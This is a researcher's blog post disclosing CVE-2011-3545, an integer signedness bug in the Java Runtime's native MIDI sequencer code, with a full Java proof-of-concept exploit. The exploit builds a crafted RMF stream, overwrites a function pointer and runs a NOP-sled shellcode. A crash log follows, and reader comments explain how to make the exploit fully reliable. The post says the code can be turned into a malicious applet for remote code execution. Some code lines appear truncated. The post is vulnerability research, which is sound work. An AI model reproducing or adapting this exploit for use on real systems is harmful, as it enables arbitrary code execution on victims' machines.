Analysis of CVE-2011-3545 (ZDI-11-307)

I’ve decided to share the details of the first 0-day I’ve found. There are a lot of Java vulnerabilities nowadays, mainly originating from bytecode verifier bugs or desing flaws in the JDK, which can be exploited usign pure java code (for example check Michael Schierl’s posts in this area: 1,2).

This vulnerability is a bit different: it is caused by a bug in native code.

I’ve done my research using Sun’s Java 1.6.24 (the latest version at that time) on a fully patched Windows XP SP3. Originaly I’ve tried to reproduce the vulnerability found by Peter Vreugdenhil, when I accidentally stumbled upon this bug. The vulnerability is a pseudo-arbitrary write in the native code. Main cause is an integer signedness problem, but we can treat it also as an integer wrapping error. “Pseudo” here means, that we can only overwrite negative values relative to our vulnerable target object.

The problematic native code:


void GM_SetControllerCallback(GM_Song *theSong, void * reference, GM_ControlerCallbackPtr controllerCallback, short int controller)
    GM_ControlCallbackPtr	pControlerCallBack;

    if ( (theSong) && (controller < MAX_CONTROLLERS) )
        pControlerCallBack = theSong->controllerCallback;
        if (pControlerCallBack == NULL)
            pControlerCallBack = 
            theSong->controllerCallback = pControlerCallBack;
        if (pControlerCallBack)
            pControlerCallBack->callbackProc[controller] = controllerCallback;				
[*]         pControlerCallBack->callbackReference[controller] = (void *)reference;			

As we can see, if we give a negative number as a parameter for the function GM_SetControllerCallback, we can write in [*] to an arbitrary memory address in the range of pControlerCallBack->callbackReference+ 4*(-32768 .. 0). The written value is
“(void *)pSong->userReference”, which is the ID of the RMFBlock, what we can control (as we will see).

The first step was to find the java entry point to reach this native function:


Java_com_sun_media_sound_MixerSequencer_nAddControllerEventCallback(JNIEnv* e, jobject thisObj,jlong id, jint controller)
    GM_Song *pSong = (GM_Song *) (INT_PTR) id;
    GM_SetControllerCallback(pSong, (void *)pSong->userReference, 
        *(PV_ControllerEventCallback), (short int)controller);

To trigger this code, we use the following function in the POC:

1, we prepare the relative addresses, we want to overwrite in the controllers array:

public int[] addControllerEventListener(ControllerEventListener listener, int[] controllers) {
    synchronized( controllerEventListeners ) {
        if( !flag ) {
            cve = new ControllerVectorElement( listener, controllers );
            controllerEventListeners.addElement( cve );

The value is calculated by the following equation:

0xffffffff-(<ADDRESS OF pControlerCallBack->callbackReference>-<ADDRESS we want to write>)/4+1

2, the overwrite is happening in setSequence, where the vulnerable native function (nAddControllerEventCallback) is called:

public synchronized void setSequence(InputStream stream) throws IOException, InvalidMidiDataException {
    for (i = 0; i < controllerEventListeners.size(); i++) {
        ControllerVectorElement cve = (ControllerVectorElement)controllerEventListeners.elementAt(i);
        for (int z = 0; z < cve.controllers.length; z++) {
            nAddControllerEventCallback(id, cve.controllers[z]);

In the POC exploit code (i try to overwrite pSong->GM_SongMetaCallbackProcPtr function pointer, with the address of our shellcode. This callback will be called as we start the sequencer.

Because the relative address of pSong and pControllerCallBack->callbackReference varies, the exploit is not always successful. I’ve chosen one value, which I measured by running the code from a debugger. It is possible to use more than one frequent relative address. Currently the exploit (using one address) is successful at 10% of the times, but in the other cases, it don’t crashes so we can rerun it. I’m sure a more reliable exploit can be created, but I’m a first-timer in this area. If you know how to do it more reliably please share with me.

Although I’ve created the poc running from command line, because there is no SecurityManager involved, so you can easily create an applet from the POC exploit code. That means, it allows remote attackers to execute arbitrary code on vulnerable installations of the Java Runtime Environment. User interaction is required to exploit this vulnerability in that the target must visit a malicious page.

Here I have a proof of concept video.

And this is the POC exploit (To understand more deeply, how the RMF sequence is processed, you should read Peter Vreugdenhil’s blogpost, which goes into more details):

import java.util.ArrayList;
import java.util.List;

import javax.sound.midi.MidiDevice;
import javax.sound.midi.MidiSystem;
import javax.sound.midi.MidiUnavailableException;
import javax.sound.midi.Sequencer;

public class Exploit  {
    // A class representing an RMF Block item  
    public static class RMFBlock {
        String type;
        public String getType() {
            return type;

        public int getId() {
            return id;

        public byte[] getData() {
            return data;

        int id;
        byte[] data;
        public RMFBlock(String type, int id, byte[] data) {
            this.type = type;
   = id;
   = data;
        public int length() {
            return 4+4+4+1+4+data.length;
    // Helper class to build RMF streams 
    public static class RMF {
        List<RMFBlock> blocks = new ArrayList<RMFBlock>();
        public void addBlock(String type, int id, byte[] data) {
            blocks.add(new RMFBlock(type, id, data));
        public byte[] toByteArray() {
            int length = 12;
            for(RMFBlock block : blocks)

            byte[] ret = new byte[length];
            int pos;
            pos = writeStr(ret, 0, "IREZ");
            pos = writeInt(ret, pos, 1);
            pos = writeInt(ret, pos, blocks.size());

            for(RMFBlock block : blocks) {
                pos = writeInt(ret, pos, pos+block.getData().length+4+4+4+1+4+1);
                pos = writeStr(ret, pos, "SONG");
                pos = writeInt(ret, pos, block.getId());
                ret[pos++] = 0;
                pos = writeInt(ret, pos, block.getData().length);
                pos = writeBA(ret, pos, block.getData());
            return ret;

        private int writeBA(byte[] ret, int i, byte[] data) {
            int j;
            for(j=0; j<data.length; j++)
                ret[i+j] = data[j];
            return i+j;

        private int writeInt(byte[] ret, int i, int size) {
            ret[i  ] = (byte)((size >> 24) & 0xff);
            ret[i+1] = (byte)((size >> 16) & 0xff);
            ret[i+2] = (byte)((size >>  8) & 0xff);
            ret[i+3] = (byte)((size      ) & 0xff);
            return i+4;

        private int writeStr(byte[] ret, int i, String str) {
            int j;
            for(j=0; j< str.length(); j++) {
                ret[i+j] = (byte) str.charAt(j);
            return i+j;
    //relative addresses we want to overwrite, I'm only using one address, but reliability
    //can be improved using more than one address, based on measurements.
    static int[] relAddr = new int[] {0xFFFFCF22};
    public static void main(String[] args) throws IOException {
        //this will be our shellcode (nop sled + calc exec code)
        byte[] pl = generatePayload();
        //lets create an RMF stream with a SONG block. this is necessary.
        //the ID of the block (0x00187C00) is the address what we use, to 
        //overwrite a function pointers value. It will point to our shellcode.
        RMF rmf = new RMF();
        rmf.addBlock("SONG", 0x00187C00, new byte[] { 
        //add a new block, with the shellcode. BTW: Cica is 'Cat' in hungarian.
        rmf.addBlock("CICA", 0, pl);

        Sequencer sequencer = null;

        try {
            // Retrieves the vulnerable midi sequencer object.
            // In order to get the right sequencer (MixerSequencer), we must define
            // META-INF/services/javax.sound.midi.spi.MidiDeviceProvider
            // with "" as content
            sequencer = retrieveSequencer();

            // Doing the "arbitrary" write here. 
            sequencer.addControllerEventListener(null, relAddr);
            // Loading our SONG, and of course the shellcode.
            sequencer.setSequence(new ByteArrayInputStream(rmf.toByteArray()));
            // Triggering the exploit
        } catch (Exception ex) {
    // Utility function: converts a byte to a byte array
    private static byte[] readFile(String filename) throws IOException {
        // Try first from the JAR
        InputStream fstream = Exploit.class.getResourceAsStream(filename);
        // Fall back to filesystem
        if(fstream == null)
            fstream = new FileInputStream(filename);
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        byte[] buf = new byte[1024];
        int c;
        while((c = != -1) {
            bos.write(buf, 0, c);
        return bos.toByteArray();

    // Generating the payload, using 
    // for shellcode
    private static byte[] generatePayload() throws IOException {
        byte[] shellcode = readFile("w32-exec-calc-shellcode.bin");
        byte[] pl = new byte[2048];
        for(int i=0; i < pl.length; i++)
            pl[i] = (byte)0x90;
        for(int j=0; j<shellcode.length; j++) {
            pl[pl.length-shellcode.length+j] = shellcode[j]; 
        return pl;

    // Retrieving the vulnerable sequencer
    private static Sequencer retrieveSequencer() throws MidiUnavailableException {
        MidiDevice.Info[] infos = MidiSystem.getMidiDeviceInfo();
        MidiDevice mixer = MidiSystem.getMidiDevice(infos[0]);
        return (Sequencer)mixer;

And this is the first crash everybody wants to see, when exploiting native bugs:

# A fatal error has been detected by the Java Runtime Environment:
#  EXCEPTION_ACCESS_VIOLATION (0xc0000005) at pc=0x41414141, pid=2804, tid=2852
# JRE version: 6.0_24-b07
# Java VM: Java HotSpot(TM) Client VM (19.1-b02 mixed mode, sharing windows-x86 )
# Problematic frame:
# C  0x41414141
# If you would like to submit a bug report, please visit:
# The crash happened outside the Java Virtual Machine in native code.
# See problematic frame for where to report the bug.

---------------  T H R E A D  ---------------

Current thread (0x02cefc00):  JavaThread "Headspace mixer frame proc thread" daemon [_thread_in_native, id=2852, stack(0x03560000,0x035b0000)]

siginfo: ExceptionCode=0xc0000005, reading address 0x41414141

EAX=0x41414141, EBX=0x00187b11, ECX=0x00187b12, EDX=0x00000007
ESP=0x035af7b0, EBP=0x035af7f8, ESI=0x00000007, EDI=0x00187c10
EIP=0x41414141, EFLAGS=0x00010206
This entry was posted in Bugs, Security and tagged , , , , . Bookmark the permalink.

7 Responses to Analysis of CVE-2011-3545 (ZDI-11-307)

  1. Peter Vreugdenhil says:

    I remember analyzing this case when I worked for ZDI (seems so long ago 😉 ), certainly a nice find.
    You can hit 100% reliable exploit if you write your value with only a small negative nnumber.
    IIRC (and quickly reread my own blog post), the array you are writing outside of is part of the following structure:

    engine\GenSnd.h starting at line 979

    struct GM_ControlCallback
    // these pointers are NULL until used, then they are allocated
    GM_ControlerCallbackPtr callbackProc[MAX_CONTROLLERS];
    void *callbackReference[MAX_CONTROLLERS];

    You are able to write to memory before the callbackReference array, and as such you can reliably write you own data into the callbackProc array, which is actually an array of callback function pointers. You can then trigger a call to that function using the midi controller change byte sequence.

    Since you now write inside the same structure you can 100% reliable overwrite a function pointer and call it. After that its should be pretty straight forward exploitation.

    I wrote an updated poc for the ZDI program, but left it there when I left, but I say combine my pocs with yours and you should be easy to repro.

    – Peter

    • axtaxt says:

      Thanx for your answer, Peter! It seems obvious. I don’t know how I missed that :-).

      • Peter Vreugdenhil says:

        Too focused on what you have found to see what is right in front of you, same reason I overlook so many vulnerabilities 🙂

      • axtaxt says:

        I’ve just reconstructed the timeline:
        2011/03/13 8PM: Started to recreate your blogpost.
        2011/03/14 2AM: Discovered the vulnerability.
        2011/03/14 5AM: Asked on twitter, how to debug Java native code :-).
        2011/03/14 2PM: Managed 0x41414141 into EIP.
        2011/03/15 2AM: I had the POC.

        Lesson learned: next time (at least) after having 0x41414141 in EIP, I will go to sleep instead developing the exploit 🙂

  2. kernel says:

    hello axtaxt,
    thanks for this article.
    I have a question: to correct this vulnerability, the developer must use an unsigned short int ?

  3. Pingback: Security News #0×17 « CyberOperations

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s